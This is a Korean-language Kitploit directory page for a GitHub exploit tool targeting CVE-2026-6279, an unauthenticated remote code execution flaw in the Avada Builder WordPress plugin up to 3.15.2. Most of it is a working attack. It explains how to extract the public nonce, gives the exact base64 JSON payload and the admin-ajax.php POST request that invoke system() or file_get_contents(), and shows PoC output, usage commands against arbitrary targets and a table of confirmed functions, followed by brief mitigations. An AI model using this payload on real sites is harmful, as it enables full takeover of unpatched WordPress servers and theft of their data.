Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func() | Kitploit
도구/GitHubGitHub/zycoder0day/cve-2026-6279
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()

저장소 보기
322개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-6279

Avada Builder <= 3.15.2 — 인증되지 않은 RCE

Allowlist 없는 call_user_func()를 통한


취약점 요약

Avada (Fusion Builder) 테마 — 900,000+ 활성 설치 수를 자랑하는 인기 WordPress 프리미엄 테마 — 의 Avada Builder (Fusion Builder) 버전 <= 3.15.2 에서 인증 없이 원격 코드 실행(RCE) 이 가능한 취약점입니다.

공격은 wp_ajax_nopriv_fusion_get_widget_markup AJAX 핸들러를 악용합니다. 이 핸들러는 base64_decode() + json_decode()를 통해 render_logics 매개변수를 처리한 후 Allowlist 없이 call_user_func()에 전달하여 system(), passthru(), shell_exec(), exec(), file_get_contents() 등의 임의 PHP 함수 실행을 가능하게 합니다.

공격 체인 (Attack Chain)

root@kitploit:~
1. 결정적 Nonce    UID 0에 대해 wp_create_nonce('fusion_load_nonce')
                   (Avada 단축 코드가 있는 프론트 페이지에 노출됨)

2. 인증되지 않은 AJAX   wp_ajax_nopriv_fusion_get_widget_markup
                        (로그인 불필요)

3. 역직렬화         base64_decode(render_logics) → json_decode()
                    (구조 검증 없음)

4. call_user_func()  call_user_func($value['function'], $value['args'])
                     (ALLOWLIST 없음 — 모든 PHP 함수 호출 가능)

5. RCE!              system("id") → 응답 본문에 uid=... 출력

실증 PoC (Proof of Concept)

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  인증되지 않은 RCE via call_user_func()                       ║
  ║  Proof of Concept — 단일 대상                                   ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Thanks: Shadow Girlfriend 💜                                ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  대상 : localhost:8888
  시간 : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] 대상 감지 중...
  [+] Avada 발견됨! (http://localhost:8888)

  [*] fusion_load_nonce 찾는 중...
  [+] Nonce 발견: b6d7b084c2 (출처: 홈페이지)

  [*] RCE 페이로드 전송 중...
  [*] 5개 함수 × 3개 위젯 = 15개 조합 시도 중

  ══════════════════════════════════════════════════════
  [★] RCE 성공!

  대상  : http://localhost:8888
  출력  : uid=1000(xenon1337)
  함수  : system()
  위젯  : WP_Widget_Recent_Posts
  Nonce : b6d7b084c2 (홈페이지)
  시간  : 1.2s

  [✓] 결과 vuln.txt에 저장됨
  ══════════════════════════════════════════════════════

확인된 모든 RCE 함수

사용법

root@kitploit:~
# 프로토콜 없음 (자동 감지)
python3 CVE-2026-6279.py target.com

# 프로토콜 포함
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# 포트 포함
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

기술 세부 사항

페이로드 구조

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Base64 인코딩 → render_logics 로 POST를 통해 wp-admin/admin-ajax.php로 전송.

엔드포인트

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

소스 코드 참조 (공식 CVE 기준)

Nonce 우회 가능 이유

  1. Avada 테마는 관리자/편집자 사용자에 대해서만 nonce 생성 (class-fusion-app.php L1665)
  2. Fusion Builder 플러그인은 [fusion_post_cards] 또는 [fusion_table_of_contents] 단축 코드가 있는 페이지에서 UID 0 (공개 방문자)에 대해 nonce 생성
  3. UID 0에 대한 WordPress nonce는 결정적 — 프론트 페이지 HTML에서 추출 가능
  4. check_ajax_referer('fusion_load_nonce')는 nonce가 유효한지만 확인하고 사용자가 인증되었는지는 확인하지 않음

call_user_func의 제한 사항

call_user_func($function, $args)는 1개의 인수만 받습니다. 2개 이상의 인수가 필요한 함수(proc_open, popen 등)는 악용할 수 없습니다. 단일 인수 함수만 동작: system, passthru, shell_exec, exec, file_get_contents.

CVSS 점수

9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

대응 조치

  • Avada Builder를 > 3.15.2 버전으로 업데이트
  • get_value()의 call_user_func()에 Allowlist 추가
  • wp_ajax_nopriv_ 핸들러를 인증된 사용자로만 제한
  • render_logics 구조에 대한 엄격한 검증 구현

면책 조항

이 PoC는 교육 및 보안 연구 목적으로만 제작되었습니다. 허가 없이 시스템에 사용하는 것은 불법입니다. 작성자는 오용에 대해 책임을 지지 않습니다.


Copyright © 2026 XENON1337
특별 감사: Shadow Girlfriend 💜

도구 다운로드
함수인수결과
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
파일라인함수
class-fusion-builder-conditional-render-helper.phpL1083should_render() — render_logics 역직렬화
class-fusion-builder-conditional-render-helper.phpL1531get_value() — Allowlist 없는 call_user_func()
fusion-widget.phpL44render_logics 속성
fusion-widget.phpL389wp_ajax_nopriv_ AJAX 핸들러
class-fusion-builder.phpL7551Nonce 등록 (UID 0에 대해 결정적)